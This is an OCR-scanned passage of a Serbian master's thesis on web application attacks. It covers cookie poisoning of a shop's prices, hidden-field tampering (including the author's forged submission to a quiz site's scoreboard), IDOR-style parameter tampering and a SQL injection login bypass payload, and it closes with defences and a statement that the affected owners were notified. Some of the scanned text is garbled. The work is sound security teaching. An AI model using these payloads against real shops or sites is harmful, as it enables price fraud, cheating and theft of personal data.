Prilikom napada nece biti nacinjena Steta i vlasnik prodavnice je obaveSten o
sigurnosnom problemu kao i nacinu zastite.

B o

Priavite se | Registrute se | PorudZbine
NAJVECA ONLINE PROBAVNICA U SREI

Akcijal

Pocema

Najnoviji modeli

R, +381(0) 60 70 50 613 060 70 50621 | Ostvarite popust! | Garanciia kvaiteta | Kontaktiraite nas

s Zadto da kupite
¥ obucu online?

Prodavnice | Brendovi KANAPANKE SAMO 1999RSD! | '  Korpa (0 proizvod)

} Kategorije

- Zenska obuéa (1446)
- Patike (162)
- Cipele (257)
- Stikle (213)
- Duboke cipele (54)
- Poluduboke &izme (175)
- Duboke Eizme (116)
- Baletanke (178)
- Espadrile (26)
- Letnje &izme (10}
- Kiompe (28)
- Papute (66)
- Sandale (156)

- Torbe (49)

- Detija obuta (325}
- Sandale (27)
- Baletanke (64)
- Paiike (111)
- Cipele (27)
- Patome (6)
- Obuta za bebe (16)
- Papuée (3)

- Gizme (71)

Preporuéeni proizvodi

=

Cizmice na &tiklu LH35602  Patike | Espadrile L6211 sive

Poluduboke éizme

Cipele na pertlanje

WSH10012 teget kamel Patike WSB17010 teget
Cipele Poiuduboke cizme 2.599 din Poluduboke cizme
3.599 din 4.499 din

3.299 din

e, i, N
S

Patike na debelom donu
L35674 crne

=

|

Patike na debelom donu
L36515 crne
Patike
2.299 din

S

Cizmice na debelu petu
WSB05060 kamel
Poluduboke ¢izme

4.499 din

T ss

Muske patike 15806 braon
(brojevi od 41 do 46)
Patike
2699 din

o o
(N

Slika 2.5.1

Prilikom posete ovoj veb stranici, server Salje kolaci¢ klijentskom racunaru koji
sadrzi osnovne podatke, pregledacu, domenu sajta i dosta Sifrovanih podataka. Prilikom

odabira artikla, otvara se

nova stranica i novi kolaci¢ se Salje raCunaru sa novim

podacima. Otvori¢emo stranicu sa cipelama koje su na popustu. Na sledecoj slici vidimo
izgled stranice sa odabranim artiklom.

postavi s

-wsh12011-kamel-405295

¥ ol

'c \@ www.obuca.net/kupi/un

Potetna Akcijal

Najnoviji modeli

00

Jgn Za8t0 da kupite
W obucu online?

Trazite proizvod

Mapredna prefraga

Prodavnice Brendovi Torbe KANADANKE SAMO 1999 RSD ! E Korpa (0 proizvod)

» Kategorije

- Zenska obuca (1446)
- Patike (162)
- Cipele (257)
- Stikle (218)
- Duboke cipele (54)
- Poluduboke éizme (175)
- Duboke Eizme (116)
- Baletanke (178)
- Espadile (26)
- Letnje éizme (10)
- Klompe (28)
- Papute (66)
- Sandale (156)

- Torbe (49)

- Detija obuéa (325}
- Sandale (27)

ObucaNET | Zenskaobuca | Duboke cipele | Unisex postavijene kanadanke WSH12011 kamel

Unisex postavljene kanadanke WSH12011 kamel
SO,
3 4 SKU: WSH12011 camel
Stara cena. 2-999-¢ip Popust 33%
Nova cena: 1.999 din

Boja: Kamel

[ Velitina]

.

Na zalihama

PDV od 20% e ukiugen u cenu, trogkovi isporuke nisu ukfjuceni

@ Pogledajte uvecanu sliku

L EEO

+381 (0) 60 70 50 613 060 70 50 621 - Porucivanje telefonom
Ponedeljak-Subota, 09:00-16:00

Slika 2.5.2
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Na prvi pogled sve je u redu, ali prilikom promene parametara koju su ponudjeni,
poput ,.velicina” i/ili ,koli¢ina”, server Salje novi kolaci¢ koji sadrZzi promenjene
parametre ali i cenu proizvoda i ukupni popust. Ukoliko se podaci poput cene, popusta
ili sliéno ¢uvaju u kolacicu, dolazi do problema jer trovanjem kolaci¢a zlonamerni
korisnik moZe promeniti te podatke. Najbezbednije je da se svi podaci ¢uvanju na
serveru a da se u kolaci¢u nalazi samo identifikacioni broj sesije ili virtuelne korpe, kao
Sto je opisano u prethodnom delu. Sada primenom pomenutog programa, presrecemo
kolac¢i¢ 1 menjamo parametre koji se ticu cene. Podaci koji se Salju izgledaju ovako:

{"display discount_percent":"Popust
33%","display price_old with_taxes":"2.999
din","display price_with taxes":"1.999 din"}

Promenom parametara koji se odnose na cenu i popust ,Popust” i
“display_price_old_with_taxes” 1 ,display_price_with_taxes”, korisniku ¢e biti
prikazano ono §to unesemo u izmenjeni kolaci¢. Na sledecoj slici je prikazana istra
strana kao na prethodnoj, samo §to je na ovoj slici ,,zatrovan” kolacic.

{"display discount_percent":"Popust
90%", "display_price_old with taxes":"2.999
din","display price with taxes":"299 din"}

& 5 C | ® www.obucanet/kupi/unisex-po fr
Napredna pretraga
T Korpa (0 proizvod)
™ Obuca.NET / Zenskaobuca ! Duboke cipele | Unisex postavijene kanadanke WSH12011 kamel
) Kategorije
o el chida (1 adb " Unisex postavijene kanadanke WSH12011 kamel

- Patike (162,
SKU:WSH12011 camel

Stara cena: 2-889-din Popust 90%
Nova cena: 299 din

» Cipele (257
> Stikle (218

> Duboke cipele (54)

> Foluduboke &izme (175 Boja: Kamel
- Duboke &izme (116)

> Baletanke (178)

> Espadile (26

> Letnje &izme (10

+ Kiompe (28 Na zalihama
= Papute (66

> Sandale (156

€ nisu ukluceni

@), Pogledajte uvecanu sliku PDV od 20% je ukljuéen u cenu, troskovi s
= Torbe (49
+381 (0) 60 70 50 613 060 70 50 621 - Porucivanje telefonom
Ponedeljak-Subota, 09:00-16:00

- Detija obuca (325
> Sandale (27
> Baletanke (64 m Tagovi:
> Patike (1

> Cipele (27

5aGa0NeNG Informacije o proizvodu
> Obuca za bebe (16)
- Kategorija: Duboke cipele
> Papuce (3
B Brend: Beoshoes
ziieme (1) Py N INSPIRISANI ITALIJANSKIM DIZAJNOM Da imate udobnu, lepu, modemu i trenutno aktuelnu obucu koju éete
Muéka nhuéa (100 realna nlatiti amin mnaniia REOSHOFS i nisni i i i #nn tam,

Ukoliko uporedimo podatke na datim slikama, stranica je potpuno ista, ali podaci su
razliciti: popust je ,,porastao” sa 33% na 90% a ,,Nova cena” se smanjila sa 1999 din na
samo 299 din. Posledica ovog trovanja kolaci¢a je kupovina pomenutog artikla po
znatno nizoj ceni, dakle napada¢ mozZe da stekne finansisku koristi Sto je u vecini
slucajeva i motiv za napad.
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Kako je trovanje kolacica prili¢no lako uraditi, vecina veb aplikacija je razvijena
tako da se klju¢ni parametri se ne cuvaju u kolacicu, takode daju se neintitivna imena i
moguce vrednosti koje otezavaju napad. Postoje specijalizovani alati i veb sajtovi koji
nude razne opcije zaStite od trovanja kolaci¢a, u ponudi postoji i provera kolacica
promocu zastitnog zida. U slede¢em primeru bice prikazano kako izgleda kolaci¢ koji
je zaSticen pomocu specijalizovanog alata koji radi odvojeno od same veb aplikacije
(third party). U ovom primeru kolaci¢ je zaStien digitalnim potpisom koji predstavlja
niz karaktera koje alat kreira posebnim algoritmom na osnovu karaktera koji se nalaze
u kolacicu.

GET http://static.hotjar.com/c/hotjar-242638. js?sv=5
HTTP/1.1 Host: static.hotjar.com Proxy—-Connection: keep—-alive
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleVebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.41
Safari/537.36 Paros/3.2.13 Accept: */* DNT: 1 Referer:
http://gigatronshop.com Accept-Encoding: sdch Accept-Language:
en-US,en;g=0.8, fr;q=0.6,hr;g=0.4,s1;9=0.2,sr;g=0.2 If-None-
Match: W/9a7f7c164914e0af8c8b04e24£99fd16

Ovo je kod koji predstavlja zahtev za proveru kolaci¢a, a dobija odgovor u
sledec¢oj formi:

HTTP/1.1 304 Not Modified Date: Tue, 04 Jun 2017 21:36:33
GMT Connection: keep—-alive Access—-Control-Allow—Headers:
content-type Access-Control-Allow-Origin: * Cache-Control:
max—-age=60 ETag: W/9a7f7c164914e0af8c8b04e24f99fd1l6 Vary:
Accept—-Encoding X-Cache-Hit: 1 X-Frame-Options: SAMEORIGIN
Server: NetDNA-cache/2.2 X-Cache: HIT

Ukoliko dode do bilo kakve promene podataka u kolacicu digitalni potpis ¢e biti
promenjen i niz karaktera ¢e biti drugaciji. Digitalni potpis u ovom primeru je identic¢an,
a pomenuti niz karaktera izgleda ovako: W/9a7f7¢164914e0af8c8b04e24f99fd16

Zakljucak

Da bi se zastitili od trovanja kolacica, veb aplikacije koje ih Koriste treba da Stite
kolacice (Sifriranjem) pre nego $to su poslati na raunar korisnika. Bezbednost kolacica
se moZe obezbediti koriS¢enjem specijalizovanih aplikacija. Kada kolaci prolaze kroz
aplikaciju koja je specijalizovana za zaStitu, osetljive informacije postaju kodirane.
Kreira se digitalni potpis koji se koristi za proveru sadrzaja u svim buduc¢im
komunikacijama izmedu posiljaoca i primaoca. Ako je sadrzaj modifikovan, potpis nece
odgovarati sadrzaju i tada Ce biti odbijen pristup serveru. Najbolja zastita od trovanja
kolacica je da se u samom kolacicu ¢uva samo identifikacioni broj korisnika a svi ostali
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podaci, poput sadrZaja korpe ili cene artikala i slicno, kao $to je prikazano na slici[31].

Slika 2.5.4

U aplikaciji je prikazano kako je moguce ,,zatrovati” koli¢i€ 1 istoristiti to kod
loSe dizajnirane aplikacije, takode je pokazana i krada kolacica sesije kojim je jedan
korisnik uspesno ulogovan kao neko sasvim drugi. Video koji je dostupan u alpikaciji

detaljno pokazuje napad.
Master rad m MASTER RAD MATEMATICKI FAKULTET

Korpa izgleda ovako:
Travanje kolacica: Ovde ¢itamo iz koladica

Kako je u radi opisan napad na online shop, to cemo ovde demonstriratt imenom "kupoving" i vred tron PC sa id-om 1

imenem "cena" i vrednost je: 1

Recimo da je korisnik dosao na stranu na kojo je prikazan proizvod koji Zeli da kupi

Takodje mozemo demonstrirati i kradju sesion cookia unutar dela "prevara =
= Poruci! |

QObrisit

Ime ra

Cena

QOpi

Tip

Qpi

Tip

Opi 2GB 128bit

RAM memorija 8GB DDR3

Opis memorije Kingston DI DR3 8GB 1600MHz

Opis HDD1 Toshiba HDD 178 3.5" 7200 SATA 3.0 32MB

Naslici je prikazan pomenuti deo aplikacije koji demonstrira koriS¢enje kolacica
u slu¢aju kreiranja male onlajn prodavnice, takode ova demonstracija napada pokazuje
kako ne treba koristiti kolac¢i¢e i Sta ne treba upisivati u njih. Najsigurnije je da se u
kolacice upisuje samo idenfikacioni broj kojim ¢e korisnikova korpa biti identifikovana
u bazi, gde se sve ostalo upisuje.
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2.6 Zloupotreba skrivenih polja

Skrivena polja su standardni HTML elementi koje korisnik ne moze da vidi niti
da ih upisuje. Za razliku od ostalih HTML polja njihova namena nije da ih korisnik
popunjava nego da sadrZe neke podatke koje korisnik ne vidi a uglavnom im se pristupa
preko JavaSkript. Ako bi vam na primer trebalo polje u kome cuvate vrednost nekog
brojaca treba staviti slede¢i element u HTML strane:[32]

<input type="hidden" name="brojac" value="17" />

Svako skriveno polje mora da ima tip ,,hidden” kojim se definiSe pregledacu da
ovaj element ne sme da prikaze korisniku. Polje mora da ima atribute name i value.
JavaSkript moZe da pristupi podatku upisanom u skrivenom polju tako Sto pronade
element, u ovom primeru, po imenu i koristi vrednost atributa kao u slede¢em primeru:

<script type="text/javascript">

var hid=document.getElementsByName ("brojac") [0];
alert (hid.value);

hid.value = hid.value+1;

</script>

Standardni JavaSkript omogucava da pronadete skriveno polje po imenu,
identifikacionom broju ili imenu taga, procitate (i eventualno prikaZete) vrednost
njegovog atributa "value" i1 da upiSete novu vrednost u njega. Ako je skriveno polje u
nekoj formi, Sta god da upiSete kao vrednost e biti poslato serveru kada se forma
posalje. Skrivena polja su najjednostavniji na¢in za razmenu podataka klijenta na kome
nekakav JavaSkript upisuje podatke i veb servera. Skrivena polja sadrze podatke ¢im se
strana ucita u pregledac i sadrZe podatke sve dok se ne prede na sledecu stranu.

* <input type="hidden" e A
v name="User_code” value="123"> E
“ > =1
Name: Bob n User_code 123 o E
User_code: 126 1 Name Jennifer Web server

SSN 123-68-654

H Credit card | 5869-1556-1454-1282

User_code: 123

Slika 2.6.1

U zavisnosti od aplikacije 1 navika programera, promenom parametara u
skrivenom polju, moZemo su predstaviti kao neko drugi ukoliko je u skrivenom polju
identifikator korisnika ili neki drugi podatak.
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Zloupotreba skrivenih polja se obi¢no koristi protiv onlajn prodavnica. Tokom
sesije klijenata, programeri koriste skrivene polja za skladiStenje informacije vezane za
klijenta ukljucujuci cene i popuste. Uzmimo, na primer, sajt koji se bavi satovima.
Vrednost za jedan od njihovih satova je 500 dolara. Postojece sakriveno polje je
razvijeno u aplikaciji kako bi se olakSao brzi razvoj, a ima za cilj da skladiSti vrednost
sata. Programer koji radi na imlementaciji bi mogao pretpostaviti da ¢e informacija
ostati netaknuta u skrivenom polju. Medutim, napada¢ mozZe naknadno menjati tu
vrednost koriste¢i standardni HTML editor. Vrednost polja mozZe da se menja vrednost
od 500 dolara moze postati 20 dolara. Tako, kroz kori$cenje skrivenih polja i HTML
editora, napadac ne samo da moZe da podmetne malo izmenjenu HTML stranicu, ve¢
moze izvr$iti i zakljuditi transakciju za cenu koje je sam uneo, ukoliko se sa podacima
o kupcu, Salje i vrednost skrivenog polja.

Primer 1:

U ovom primeru ¢e biti prikazano viSe vrsta koordinisanih napada na jedan veb
sajt. U pitanju je sajt domace softverske kompanije. Davne 2010. godine na njihovom
sajtu pojavila se nagradna igra. Nagrade su bile izuzetno vredne a kviz se sastojao od
20 lakih pitanja, rangiranje je bilo po vremenu utroSenom za odgovaranje na tih 20
pitanja. Sam kviz je bio odradjen u flash tehnologiji $to predstavlja jednu od klju¢nih
gresaka jer je flesh tada bio pred odumiranjem usled previse sigurnosnih problema i
prevelikih hardverskih zahteva na klijentskoj strani.

Problem je nastao kada se na listi potencijalnih dobitnika nagrada pojavilo vreme
koje je realno dosta krac¢e (10 ili 7 sekundi) od vremena za koje je realno moguce
odgovoriti na 20 pitanja. Rukovodstvo kompanije je bilo upozoreno viSe puta na to da
se deSavaju nepravilnosti, ali njthov odgovor se svodio na to da kod njih nije zabeleZena
nikakva nepravilnost. Nakon njihove tvrdnje da je sve u redu, bio sam iritiran i reSio da
otkrijem na koji nacin je moguce prevariti sistem. Uz pomo¢ pregledaca sam doSao do
swf datoteke, koja je zapravo bila aplikacija pomenutog kviza. Imajuci u vidu da swf
datoteka moZe da bude iskopirana (download) na klijentski raunar, to sam i uradio.

Posto je swf datoteka ve¢ bila na mom racunaru, uz pomo¢ programa ,,swf
dekompiler” uspeo sam da dodjem do samog koda koji se krio iza kviza. Kod je bio
izuzetno loSeg kvaliteta, pitanja su hadkodovana §to nikako nije preporuka, na slici je
jedan deo koda:
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testznanja swf > Action (3) >

222 | quest[g] .optk = “b)
22} | quest [g] .optc = "c

22% | quest[g] .ana = "1":
225 | quest [g] -help = "hotp://wwWww.eXtreme.r3/defaulc. asp?id=20";
2¢|g = 3;

27 | quest[g] = new FillArray():

228 | gquest[g] .id = 3;

229 | quest [g] .quest = "Windows 7 je naziv za?"
230 | quest [g] .opta x i
231 | quest[g] .optk
232 | quesat [g] .opte
211 | quest[g]l.ans = "
234 | quest[g] .help = " ¥ / ult.asp:l

236 | g = 4; 1
238 | quest[g] = new FillArray():

237 | quest [g] .id = 4;
238 | quest [g] .quest = "
23 | quest[g] .opta =
240 | quest[g] .optk =
241 | quest [g] .optc = ©

242 | misarlal _ana = "2°
4 il ]

3
n oo

Slika 2.6.2

Takode unutar ovog dela koda, nalazio se i deo koji je bio zaduZen za slanje
rezultata u bazu podataka. To je bila najveca greska programera i veliki bezbednosni
propust. Taj deo koda je bilo moj ulaz. Na slici je prikiazan pomenuti deo koda

testznanja.swi > Action (3) >
1| 685 txtClicks = clicklium;
686 | } i1 of the functiot
887 | stop ():
688 | clearInterval (intervalld):
689 | btnNext mc.onRelease = function ()

690 | {
631 if (cxtUsername.lengcth > 0 && txtEmail.length > 0)
£92 {
693 var my lv = new LoadVars(): I
694 my_lv.name = txtUsername;
695 my_lv.email = txtEmail;
638 my lv.acore = txtScore:
637 my lv.time = txtTime;
B9E my 1lv.password = "430
693 my lv.send{“hctp: asp”; “_b
700 gotoAndPlay (20) ;
0 !
oz elae
703 {
| 704 txtWarning = "Niste popunili sva potrebna polja!”™;
TO5 1 [ = -
A m b

Slika 2.6.3

Ovde se jasno vidi Sta bi trebalo aplikacija da posalje strani koja obraduje i
smeSta podatke u bazu. U ovom nizu parametara koji se Salju, postoji i1 jedan
,my_lv.password” parametar koji ima fiksiranu vrednosti i predstavnlja skriveno polje
koje prenosi u ovom slucaju password iz aplikacije u fajl koji obraduje podatke. Sledeca
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stvar koju sam uradio bila je izuzetno lako izvodljiva, jednostavno u HTML jeziku sam
kreirao formu ¢iji je zadatak bio da posalje podatke glumeci flash aplikaciju.

<table>
1e="20"
1="2">Unos u bazu podataka!!!</TD>

430589054345
H<TIR>

<TD>Ime</cd>

<TD> <input name="name" type="text" id="my lv.name"> </ID>
F</TR> -

E<TR>

<TD>mail</td>

<td> <input name="email" type="text" id="my lv.email" > </TD>
r</IR>

EH<TR>

<TD>Broj poena</td>

<td> <INPUT HAME="score" TYPE="text" id="my lv.score"> </ID>
r</TR>
El<IR>

<TD>vreme</td>

<td> <INFUT NAME="time" TYPE="text" id="my lv.time"> </TD>
F</TR>

<TD>Sifra</td>

<td> <INPUT NAME="password" TYPE="text" id=" my lv.password"> </TD>
F</TIR>

<BR>
H<ter>
H<td>

<input name="submit" tvte=“%2ggit“ value="Unesite">

Slika 2.6.4

Kreirana veb forma je bilo sve sto mi je potrebno da zavrsim sa napadom, nisam ¢ak ni
morao da je ,kaim” na server...

a:r Da li s(v)e znamo?

Q Da li s{v)e znamo?

__| file///C:/U

430589054345

430589054345 Unos u bazu podataka!!!

Unos u bazu podataka!!! Ime Britney Spears

Yisies mail britney@gmail.com
Broj poena 150

mail vreme 3

Broj poena Sifra 430589054345

vreme

Sifra

] Unesite

Slika 2.6.5

Podaci koje sam uneo u formu su poslati fajlu koji obraduje podatke i $alje ih u
bazu, na sledecoj slici je rezultat klika na dugme ,,Unesite”.
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#y | » & o) I ” o2
Klijents Howvosti Podrika Klijenti Novosti Podrika
Top lista Top lista
Br. Ime Foenl Vreemse Datum Br. Ime Poeni Vreme Datum
1 Lukas Rusowasd L50 T 1 Britney Spears 150 3 11/12/2010 10:04:44 PM
2 Dalibor Radowanowic L350 ]; Luka Rusovac 150 7 11/11/2010 11:41:11 PM
3 Predrag Yujic 3 Dalibor Radovanovic 150 10 11/11/2010 1:27:35 AM
4 Jlaksic Mevena 4 Predrag Vujic 150 11 010 2:31:30 PM
5 l%I:lr‘u-um. Perous 5 Jaksic Nevena 1s0 11 11/8/2010 6:39:38 PM
& Hikoda Bubanja 6 Dragana Perovic 150 11 11/8/2010 6:40:21 PM
7 Sanja Vejid 7 Nikola Bubanja 150 11 11/10/2010 8:33:09 PM
B Hilan Arizanowic 8 Sanja Vujic 150 12 11/8/2010 2:27:00 PM
a8 Parss Tansledc 15 3 9 Milap Ari 150 12 11/8/2010 4:47:44 PM

Slika 2.6.6

Na slici iznad su prikazane liste pre i posle napada koji jasno dokazuje i
pokazuje koliko je bilo lako varati na ovom kvizu. Posle svega, posalo sam snimak
napada rukovodstvu i dobio obaveStenje da ¢e kviz biti ukinut zbog dokazanih
malverzacija i da ¢e se nagrade podeliti na neki drugi nacin.

Alpikacija koja pokazuje ovaj napad u sebi sadrZi par skrivenih polja kojima
moZemo manipulisati na odredeni nacin. Video koji je u sklopi ovog napada pokazuje
nacin manipulacije skrivenih polja. Skrivena polja su dobar nacin za prenos podataka
koje korisnik ne treba da vidi, ali po svaku cenu treba izbegavati upisivanje poverljivih
informacija ili lozinki unutar ovih polja.

Master ra d m MASTER RAD MATEMATICKI FAKULTET

Jedan mali primer za skrivena polja:
Zloupotreba skrivenih polja: Ovde sam uneo u bazu 4 unosa koji imaju ID: 1,2,5,6

e moZe da vidi niti da ih

isnik popunjava
istupa preko

Unesi ID
Javaskript

ary < korisnika

Ovo cemo demostrirati tako sto u Inspect celu kod Chroma, pod karticom
Elements imamo pristup kodu koji je editable (moguce promeniti) Tu <
menjamo sastava i parametre skrivenih polja. unest
email
0Odbrana od ovog konkretnog napada: unest
tekst

Skrive
pos.

koje koriscnik ne treba da vidi, ali

enos podata
ivanje poverljivin informacija ili lozink utar ovih

Slika 2.6.7

Na slici je prikazan izgled stranice koja kreirana kako bi se pokazala slabost skrivenih
polja. U videu je demonstrirano kako se menja sadrZaj skrivenog polja i koliko je opasno
cuvati kljucne informacije unutar ovih polja jer su vidljiva unutar koda stranice.
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Zakljucak

Mnogi zaposleni u IT industriji koriste tradicionalne bezbednosne tehnike kako
bi zastitili svoju mrezu, kao $to je koriscenje poznatog antivirusnog softvera, zastitnog
zida ili najnovijih softverskih reSenja za detekciju upada. Medutim, iako su skrivena
polja van domasaja svakodnevnih korisnika, napadaci koji imaju programerske vestine
mogu da komprimituju polja i podatke, i na kraju ih eksploati§u. Osim toga, ovi napadi
imaju potencijal da uniSte poslovne informacije o sajtu i na kraju moZe se desiti da
onlajn prodavnica trpi ogromne gubitke. Sa povecanim brojem zloupotreba, veb
prodavnica rizikuje da izgubi kredibilitet svojih klijenata.

2.7 Podmetanje parametara

Podmetanje parametara predstavlja napad koji se zasniva na manipulaciji
parametara koji se razmenjuju izmedu klijenta i server, kao $to su korisnicki podaci i
dozvole, cena i koli¢ina proizvoda, itd obi¢no, ove informacije se ¢uvaju u kolacicima,
skrivenom polju, ili u URL upitu. Koristi se za povecanje funkcionalnosti aplikacija i
kontrolu.

Ovaj napad moZe da obavlja zlonamerni korisnik koji Zeli da iskoristi aplikaciju
za sopstvenu korist, ili Zeli da napadne trece lice Koristi napad ,,man-in-the-
middle“.Uspeh napad zavisi od greSaka programera i mehanizma logike validacije
korisnika. Eksplatacija ovakvog napada moze dovesti do ozbiljnih posledica. Napadi
koji se zasnivaju na podmetanju parametara mogu biti veoma opasni po sistem koji
pruza usluge servera napadnutoj aplikaciiji, ali i po privatne podatke korisnika koji
koriste istu veb aplikaciju. Ukoliko veb aplikacija koja je napadnuta Salje podatke GET
metodom, ti podaci mogu biti promenjeni jer se nalaze u linku pomoc¢u koga se pristupa
sledecoj strani. GET metoda ima dosta mana, poSto se parametri ispisuju u adresnoj
liniji, moZe biti keSirana, ostaje u istoriji pregledaca, ima ogranicenja po pitanju duZine.
GET metodom nije preporucljivo slati osetljive podatke poput korisnicke Sifre, broja
kartice 1 sli¢no[33].

Primer 1: Ako postoji forma za popunjavanje podataka korisnika koja se sastoji
od dve ili tri posebne strane i podaci sa prve strane se Salju na drugu pomoc¢u GET
metoda, tada u linku postoje svi podaci koji su uneseni na prethodnoj strani.

http://localhost/eupgal0l14/registration.php?name=Predrag&gende
r=m&creditno=523572635&pass=934pedjabé62&email=pedjal@gmail.com

U linku se nalaze podaci koje je korisnik uneo u formi na prvoj strani. Problem
je u tome Sto se ispravnost podataka obic¢no proverava na strani na kojoj se unose, pa u
ovom slucaju je mogucée promeniti podatke zaobilaze¢i ponovnu proveru, pa moZze
desiti da zlonamerni korisnik promeni email adresu koja nije ispravna ili u gorem

e —————
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slucaju, moze ubaciti deo SQL koda i tako izvrS$iti umetanje SQL upita. U ovom slucaju
napad se odnosi na sistem i aplikaciju koja nije dobro dizajnirana. Ukoliko na primer
imamo internet prodavnicu, gde je moguce narucivati odredene proizvode, pritom veb
aplikacija neke podatke poput userid Salje GET metodom putem linka, moguce je da,
ukoliko je loSe isplanirana zaStita ili je nema ni malo, korisnik vidi $ta je neki drugi
korisnik narucio ili kupio samo promenom broja u linku koji odreduje identifikaciju
korisnika.

Primer 2:

Ako imamo link:

http://www.nekieshop.rs/korpa.php?userid=35237

Promenom vrednosti ,,userid” moZzemo dobiti neciju narudzbenicu i tako
otkrijemo Sta drugi korisnik kupuje, a u sklopu toga i ko je, dakle ime, prezime i joS
puno toga, zavisno od podataka koje aplikacija prikazuje na toj strani.

Ovakvim napadima se malo obraca paznja jer programeri ne shvataju do kakvih
problema moZe doci u slucaju ovakvih propusta. Ni neki sajtovi koji imaju na stotione
poseta dnevno, nisu imuni na ovaj napad. Slede¢i primer to pokazuje.

Primer 3:

Nasa renomirana kuca koja se bavi izdavanjem knjiga je pre 3 godine (2013)
imala prilicno ozbiljan problem koji je uklju¢ivao podmetanje podataka. Prilikom
kupovine knjige onlajn, kada se korisnik uloguje, ima opciju da pogleda dostavnicu za
knjigu koju je kupio i koja mu je stigla na ku¢nu adresu. Problem je bio u tome $to su
programeri zaboravili da postave proveru koji dokument koji korisnik moZze da vidi, a
jos gore od toga, nisu postavili ni proveru da li je neko uopSte ulogovan...

Link je izgledao ovako:

http://www.prodajaknjiga.com/store/dostavnica?id=1977/13

Promenom parametra id, mozZe se videti sasvim druga dostavnica sa podacima
korisnika Cija je dostavnica otvorena, a iz ovog paramerta vidimo da identifikator
dostavnice je zapravo redni broj u bazi. Ovo je jedan od puno slucajeva ranjivosti veb
aplikacija koji su se desili samo zato $to programeri nisu obratili puno paZnje ovom
problemu a zlonamerni korisnici ili pak samo radoznali korisnici otkrili. Naravno
nekoliko dana po otkrivanju ovog propusta renomiranii izdava¢ je bio obaveSten i
propust je ispravljen.

Evo kako to izgleda:

42



ki
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Slika 2.7.1

Prilikom slanja podataka GET metodom, svi podaci se prikazuju unutar adresne
linije, kreirana aplikacija demonstrira ba$ kako je ranjiv ovakav nacin slanja podataka.
Preporuka je koriscenje POST metoda za osetljive podatke, sa GET medotom nikada
ne treba slati osetljive podatke. Takode, mora se izbegavati upotreba GET metode
prilikom slanja identifikacionog broja korisnika. U videu je detaljno pokazano kako
manipulacija parametrima utice na aplikaciju.

Master rad MASTER RAD MATEMATICKI FAKULTET

Jedan mali primer:
Podmetanje parametara: Ovde sam uneo U bazu 4 unosa keji IMaju ID: 1,256

= parametara predstavija napa

koj
ik )
20liu, 1l U URL Upitu. Korist se 22 povacan)e funkaonainest aplikacia | kontrolu Uneai I
korisnika
unesi ema
Odbrana od ovog kenkretnog napada: Emal
s2 GET medotom nikada ne treba slati unest E—
tekst
, Zoeg otreba GET metode prilikom slanja
risnika. U svakom pre prikazivanja p m
d GET metedom, potrebno je provariti autenticnost proverom u bazi ako je

Korisnik koji Je izabran upisan je u bazu Pod rednim brojem §
Anjezovo ime = Sanja

Njegovo prezime Je: Marinkovic

Opis njegovem imena e Ovo je treci unos...

Ovo je mail adresa poslata GET metodom:
wujicgs@gmail.com

Ovo je napisano u delu za unos teksta a dobijenc GET metodom
ovo je sa izmenjenim poljima

Slika 2.7.2
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Zakljucak

Prilikom dizajniranja i izrade veb aplikacija, neophodno je obratiti puno paznje
1 dobar deo vremena na sprecavanje i ukidanje moguc¢nosti napada. Pored toga Sto
ovakvi napadi mogu prouzrokovati lo§ rad sistema i gubitak nekih podataka, najveci
problem je gubitak korisnika koji bi se osec€ali prevarenim i ugrozZenim, jer su podaci
koje su ostavili na sajtu, nestali i oti$li u tude ruke. Gubitak korisnickih podataka moZze
dovesti i do krade identiteta, krade broja kreditne kartice...

2.8 Umetanje SQL upita

Umetanje SQL upita (eng. SQL injection) predstavlja napad kojim se unosi
SQL kod od strane korisnika kako bi se iskoristila ranjivost sistema. Ideja je da se
proveri rad SQL upita unutar aplikacije za deo koda koji joj nije namenjen. Ukoliko
aplikacija ne prepozna da se radi o neispravhom unosu moZze do¢i do neZeljenih
posledica kao $to su ispisivanje odredenih podataka koje korisnik ne bi trebalo da vidi,
modifikovanje i1 brisanje osetljivih podataka. O ovoj temi postoji dosta radova i veb
prezentacija Sto nam govori da je napad umetanjem SQL upita dosta razvijen. Vecina
programera potcenjuje opasnost od ovog napada u aplikacijama koje koriste ,,Oracle”
kao bazu podataka. Postoji dosta veb aplikacija koje u potpunosti nisu zaStiCene od
umetanja SQL upita iako se koriste relativno jednostavne tehnike za spreCavanje takvih
napada[36].

Umetanje SQL upita je jedan od nacina da se dobije neovlasceni pristup bazi
podataka ili direktno uzimanje podataka iz baze, to su uglavnom napadi jednostavne
prirode, i oni napadacu mogu da dozvole manipulaciju nad bazom podataka. Postoji tri
glavne kategorije napada[37]:

1. Manipulacija SQL-om
2. Ubacivanje koda
3. Ubacivanje poziva funkcije

Manipulacija SQL-om predstavlja najcesc¢e upotrebljavan napada. Zlonamerni
korisnik prilikom ovog napada pokuSava da modufikuje SQL upit, tako Sto dodaje
elemente ,,where” klauzuli ili pokuSava da proSiri upit opetacijama kao $to su “union”
ili ,,intesect”. U narednim primerima bi¢e pokazano kako ovaj napad finkcioniSe.

NajviSe napada se viSi na stranu za prijavljivanje korisnika, programeri najcesce
bas tu naprave gresku. Ukoliko posle unoSenja podataka od strane korisnika, aplikacija
proverava da li takav korisnik postoji i da li mu je lozikna ispravna.

SELECT * FROM users WHERE username = 'korisnik' and password
= 'lozinka'
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Zlonamerni korisnik moZe u polje za lozinku unineti i ovakav iskaz:

\

lozinka’ or ‘a’ = ‘a’
Tada bi SQL upit izgledao ovako:

SELECT * FROM users WHERE username = 'korisnik' and password
= 'lozinka' or ’a’ = ’a’

Ukoliko bi ovakav upit bio stigao do baze, zlonamerni korisnik bi imao pristup
aplikaciji. Sledec¢i primer pokazuje ovaj napad na sajt jedne domace firme.

SQL injection je izuzetno opasan napad, odbrana od ovakvih napada je kljuc¢na
za oCuvanje integriteta podataka i sigurnost itavog sistema. 2011. godije, jedna domaca
novootvorena firma imala je, na svom sajtu, stranu za prijavljivanje korisnika preko
koje su korisnici njihovih usluga mogli da koriste benefite onlajn prijavljivanja i
koris¢enja usluga.

Slika 2.8.1

Prilikom prijavljivanja, korisnici su mogli da vide svoje podatke i da ih menjaju. Medu
tim podacima su se nalazile i poverljive informacije kao S§to su mati¢ni brojevi
zaposlenih, imena, prezimena pa ¢ak i visine plate...

Problem je bio u tome Sto programeri koji su radili ovu veb aplikaciju, nisu
obratili paZnju na SQL injection i propusti koje su napravili su ugrozili integritet
podataka ali i celokupno funkcionisanje sistema. Najgori propust su napravili prlikom
prijavljivanja, nisu zastitili od umetanja SQL upita.

Korisnicko ime (PIB) bilosta I

